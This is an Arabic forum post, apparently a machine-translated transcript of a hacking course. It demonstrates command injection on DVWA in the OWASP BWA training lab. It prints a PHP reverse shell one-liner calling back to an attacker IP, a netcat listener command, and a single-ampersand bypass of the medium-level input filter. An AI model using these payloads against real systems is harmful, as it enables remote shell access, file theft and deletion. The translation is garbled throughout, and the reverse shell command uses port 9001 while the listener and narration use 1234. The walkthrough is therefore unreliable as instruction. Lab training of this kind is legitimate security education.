الآن، حتى وإن لم نكن مبرمجين php، إلا أن هذا النوع من reverse shell سهل العثور عليه عبر الإنترنت.
ويكفي أن تبحث فقط عن سطر واحد reverse shell أو bash reverse shell، وسيقدم لك
أمرًا واحدًا يمكن استخدامه لإنشاء اتصال افتراضي مع kali linux الخاص بك.
لقد حصلت على واحدة من تلك الأوامر هنا.
يمكن ان تجده هنا
php -r '$sock=fsockopen("10.10.10.10",9001);shell_exec("sh <&3 >&3 2>&3");'
لنفتحه في محرر الاوامر nano
وكل ما يقوم به هذا الأمر هو تشغيل رمز حيث يقوم بإنشاء كائن مأخذ وكائن مأخذ
في لغة البرمجة هو شيء يستخدم لإقامة اتصال الشبكه فهي القوسين بين علامتي اقتباس مزدوجتين.
لدينا عنوان IP ل kali linux.
هذا هو عنوان IP kali linuxوهنا هو المنفذ الذي نريد الاتصال به.
الجزء الثاني من الأمر هو ما نريد تنفيذه عند الاتصال وهذا الجزء بأكمله ببساطة
يخبر تنفيذ أفضل shell وجعلها تعمل بأكبر قدر ممكن من الأوامر.
إذا كان هذا هو الشيء الكامل الذي يقوم به هذا الأمر.
إنه يتصل بعنوان IP لدينا على المنفذ المحدد وينفذ أفضل shellبالنسبة لنا حتى نتمكن من تنفيذ الاوامر
ولكن من أجل أن تكون الآلة الهدف، والتي في حالتنا هي دائماً owasp، قادرة على الاتصال بآلتنا
kali linux، يجب أن نستمع على منفذ مفتوح للاستماع إلى الاتصالات الواردة.
ويمكننا القيام بذلك بسهولة عن طريق فتح الطرفية وكتابة "nc -lvp" ثم
المنفذ الذي نريد الاستماع إليه، وهذا الشرط يعني ببساطة الاستماع على أي واجهة تحتلوني لها.
لديها.
لذلك لا نحدد الإصابات الدقيقة نخبر تقريبًا، استقبل الاتصال على أي واجهة تلقيت منها الاتصال.
لذلك إنها NC - LVP وبعد ذلك مسافة. وهنا نحتاج إلى منفذ.
وإذا رجعنا إلى أمرنا، دعوني أجده.
في هذا الأمر، نحدد المنفذ.
واحد، اثنان، ثلاثة، أربعة
لذا يجب أن نستخدم نفس المنفذ داخل تعليق Netcat لدينا.
لذا سنكتب "nc -lvp 1234".
وهذا تقريبًا كل ما علينا القيام به.
يقول: "الاستماع على أي واجهة على المنفذ.1234".
الآن نريد نسخ هذا الأمر. وتأكد من أنك حصلت على جميع هذه الاقتباسات الفردية والاقتباسات المزدوجة بشكل صحيح، لأنها إلا
لننزل في الوقت الحالي www.google.com ثم فاصلة منقوطة.والآن دعونا نلصق الأمر بأكمله هنا.
انقر على "البحث عن DNS" وأول شيء ستلاحظه هو أنها تحمل الصفحة، لا تقوم بإخراج أي شيء لنا، إنها مجرد تحميل مستمر.
وإذا رجعنا إلى نافذة Netcat لدينا، ها هو.
لقد فتحنا reverse shell ونحن على تلك الآلة حاليًا كـ www-data المستخدم هنا،
يمكننا تنفيذ جميع الأوامر دون الحاجة إلى الانتقال إلى صفحة الويب.
يمكننا فقط كتابة اي امر شئ نريده
حتى يمكننا حتى محاولة، على سبيل المثال، تنفيذ أحد هذه الملفات إذا أردنا.
لذا هذا أمر جيد حقًا لأنه الآن لدينا reverse shell تم إنشاؤها على الآلة المستهدفة ويمكننا فعل أي شيء نريد، بما في ذلك حذف الملفات، إنشاء ملفات، التنقل في النظام،
تحميل الملفات، تحميل الملفات وكل ذلك.
حتى وإن كنت يمكنك القيام بكل ذلك فقط بكتابة الاوامر هنا، إلا أنه من الأسهل بمجرد
إنشاء reverse shell حيث يمكنك فقط كتابة الأمر في سطر الأوامر.
الآن بعد أن قمنا بذلك في الجزء القادم مثال على استغلال حقن الأوامر
5-Bypassing Input Filter And Executing Command
لنرى مثالًا على حقن الأوامر على صفحة owaspbwa ، لذا افتح المتصفح الخاص بك وانتقل إلىowaspbwa
هنا نحن سنقوم بتسجيل الدخول في dvwa
الآن، بمجرد وصولنا إلى هذه الصفحة، نريد الانتقال إلى هذا الجزء هنا الذي يقول .Command Executing
إنها ببساطة نفس الشيء مثل command injection ,ولكن اسم مختلف
وبالنسبة لهذا المثال الأول، تأكد من أن مستوى الأمان مضبوط على low وسنتحقق من مستوى الأمان
القليل ومستوى الأمان المتوسط.
أعتقد أنه في هذه الإصدارات الأحدث، مستوى الأمان العالي في الواقع ليس ضعيفًا.
وهو مثال على كيف يجب أن يبدو الكود عندما لا يكون المدخل ضعيفًا أو عندما يتم تصفية المدخل بشكل صحيح.
لذا هنا يخبرنا أنه مجانًا يمكننا إدخال عنوان IP وسيقوم بعمل ping إلى ذلك العنوان IP
لقد كتبت عنوان IP لجهاز التوجيه الخاص بي وقامت بثلاث طلبات ping وأخرجت النتائج هنا.
لذلك بالفعل من خلال رؤية هذه النتائج، يمكننا تخيل أن الصفحة تقوم بشيء من هذا
لذلك تتفاعل هذه الصفحة مع النظام. الآن، دعونا نحاول حقن تعليقنا لنكتب عنوان الـ IP.
وبالمناسبة، قد لا يعمل هذا العنوان IP بالنسبة لك.
هذا هو فقط عنوان IP لجهاز التوجيه الخاص بي، لذا لا تتردد في تجربته بعنوان IP
مختلفًا سواء كان عنوان IP خارجيًا أو عنوان IP محليًا داخل شبكتك.
والآن دعونا نكتب فاصلة منخفضة ولنرسل هذا الامر الذي هو ls .
وهنا حقن تعليقنا، قام بتنفيذ الأمر الثاني أيضًا، ببساطة بهذا، نجحنا في
تشغيل حقن الأوامر لدينا والآن يمكننا فعل أي شيء كما قمنا في
الاجزاء السابقة، مثل تشغيل reverse shell ، ومثل النظر إلى حسابات وكلمات مرور وغير ذلك من ذلك الامور .
لكن هذا ليس هو السبب في أدائنا لهذا المثال. نريد أن نرى كيف يمكننا أيضًا أداء حقن الأوامر على مستوى أمان متوسط.
لتغيير مستوى الأمان على الصفحة، انتقل إلى هناك يقول إلى أمان وغير من منخفض إلى متوسط.
انقر على إرسال.
لنجرب نفس الشيء. بدون ls;
الإخراج تقريبًا كما كان من قبل.
الآن، دعونا نحاول تنفيذ تعليقنا عن طريق كتابة فاصلة منخفضة ولنرسل هذا.
,ولكن لنبدأ بعنوان ip من ثم ; ثم ls
ولكن لايظهر اي شئ
وستلاحظ أنه على هذه الصفحةDVWA، لدينا الآن لديها عرض لكود المصدر لكيف يتم تصفية هذا المدخل،
وسنلقي نظرة عليه فقط لكي نرى لماذا لا تعمل حقن الأوامر الخاصة بنا الآن.
لنفتح الكود المصدر.كما ذكرت، هو مكتوب ب.php لكننا لا نحتاج حقًا إلى معرفته.
لذلك هذا هو عنوان IP الذي ندخله أو يجب أن أقول الأمر الذي ندخله.
هذا هو الجزء المهم بالنسبة لنا.
إنه يخلق مصفوفة تستخدم هذه الأحرف. وإذا رأينا فاصلة منقوطه هنا.
لذا عمومًا في كل مرة في أمرنا يرى فاصلة منقوطه ، سيغيرها إلى لا شيء.
نفس الشيء ينطبق على هاتين الجهتين أيضًا. الأمر نفسه ينطبق على &&.
وبالمناسبة، تُستخدم أيضًا && لتنفيذ أوامر مختلفة.
دعني أُظهِر لك، في الطرفيات، يمكنك كتابة شيء مثل
ls && ping 192.168.1.1 -C 3
لذا الفاصلة المنقوطة ليست الطريقة الوحيدة التي يمكننا بها دمج الأوامر، ونستطيع رؤية أن كلا هاتين الطرقتين معمولها filter
سيتم استبدالهما بلا شيء في هذا السطر هنا.
وهذا هو السبب في عدم عمل أمرنا.
هل يعني هذا أن المدخل غير متاح؟ حسنًا، ليس حقيقيًا. هناك طرق أخرى يمكننا من خلالها دمج الأوامر.
على سبيل المثال يمكننا كتابة & عندها فقد تخطينا الحمايه لاننا لم نجد filter عليها
لنكتب whoami هذه المرة؟
فقط باستخدام إشارة واحدة لفصل الأوامر.
ونحصل على إخراج كلاهما مرة أخرى، فقط إنتاج كل من who am I في منتصف هذا التعليق.
ذلك لأنه
عند كتابة إشارة واحدة فقط وليس اثنتين، يُنفَّذ كلا الأمرين بشكل متزامن.
وأي ناتج يظهر أولاً سيتم طباعته هنا.
وحالياً حصلنا على إخراج من whoami في منتصف تعليق ping.
ولكن قمنا بتشغيل حقن الأوامر على مستوى أمان متوسط.
وفي الواقع، ليس لديك حقيقة الشيفرة المصدرية هنا، لن تكون قادرًا على رؤية الشيفرة.
ومع ذلك، يمكنك تجربة كل هذه الإشارات، يمكنك تجربة الفاصلة المنقوطة، يمكنك تجربة &
يمكنك أيضًا تجربة رموز لتنفيذ أوامر مختلفة. ويمكن أن تكون كل تلك الأشياء مصفَّاة أو ربما معظمها مصفاة.
ولكن يمكنك العثور على إشارة واحدة لا تتم مصفيتها والتي ستتيح لك تنفيذ حقن الأوامر.
لذا مجرد محاولة كل هذه الطرق ورؤية ما إذا كان أيٌّ منها يعمل.
وايضا يمكنك فعلها اتوماتيكيا عبر تطبيق burp
المصادر هنا
يرجى المراجعه قد يكون هناك اخطاء @STORM
the end
التعديل الأخير بواسطة المشرف: